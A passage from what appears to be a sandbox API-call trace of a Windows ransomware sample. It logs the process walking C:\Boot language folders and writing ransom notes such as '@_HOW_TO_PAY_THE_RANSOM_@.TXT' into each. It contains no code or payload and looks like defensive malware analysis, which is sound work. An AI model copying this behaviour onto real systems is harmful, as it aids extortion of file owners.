(lpFileName="C:\\\\Boot\\de-DE\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\de-de\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.652] GetFileType (hFile=0x1f4) returned 0x1 [0068.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.652] GetLastError () returned 0x0 [0068.653] FindFirstFileA (in: lpFileName="C:\\\\Boot\\de-DE\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.653] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="..", cAlternateFileName="")) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa645cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6482ee0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa645cd80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa645cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.654] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.654] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.654] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.655] AreFileApisANSI () returned 1 [0068.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\el-GR\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.655] CreateFileW (lpFileName="C:\\\\Boot\\el-GR\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\el-gr\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.655] GetFileType (hFile=0x1f4) returned 0x1 [0068.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.655] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.656] GetLastError () returned 0x0 [0068.656] AreFileApisANSI () returned 1 [0068.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.656] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x5345c0 [0068.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\el-GR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.657] CreateFileW (lpFileName="C:\\\\Boot\\el-GR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\el-gr\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.658] GetFileType (hFile=0x1f4) returned 0x1 [0068.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.658] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.658] GetLastError () returned 0x0 [0068.659] AreFileApisANSI () returned 1 [0068.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.659] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\el-GR\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.659] CreateFileW (lpFileName="C:\\\\Boot\\el-GR\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\el-gr\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.660] GetFileType (hFile=0x1f4) returned 0x1 [0068.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.660] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.660] GetLastError () returned 0x0 [0068.661] FindFirstFileA (in: lpFileName="C:\\\\Boot\\el-GR\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.661] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="..", cAlternateFileName="")) returned 1 [0068.661] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6482ee0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.661] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6482ee0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.662] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6482ee0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6482ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.662] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.662] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.662] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.662] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.662] AreFileApisANSI () returned 1 [0068.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.662] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\en-US\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.663] CreateFileW (lpFileName="C:\\\\Boot\\en-US\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\en-us\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.667] GetFileType (hFile=0x1f4) returned 0x1 [0068.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.667] GetLastError () returned 0x0 [0068.668] AreFileApisANSI () returned 1 [0068.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.668] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x55ae28 [0068.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\en-US\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.668] CreateFileW (lpFileName="C:\\\\Boot\\en-US\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\en-us\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.669] GetFileType (hFile=0x1f4) returned 0x1 [0068.669] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.669] GetLastError () returned 0x0 [0068.672] AreFileApisANSI () returned 1 [0068.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\en-US\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.672] CreateFileW (lpFileName="C:\\\\Boot\\en-US\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\en-us\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.672] GetFileType (hFile=0x1f4) returned 0x1 [0068.672] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.672] GetLastError () returned 0x0 [0068.673] FindFirstFileA (in: lpFileName="C:\\\\Boot\\en-US\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.673] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="..", cAlternateFileName="")) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6482ee0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6482ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3900033a, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64a9040, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, 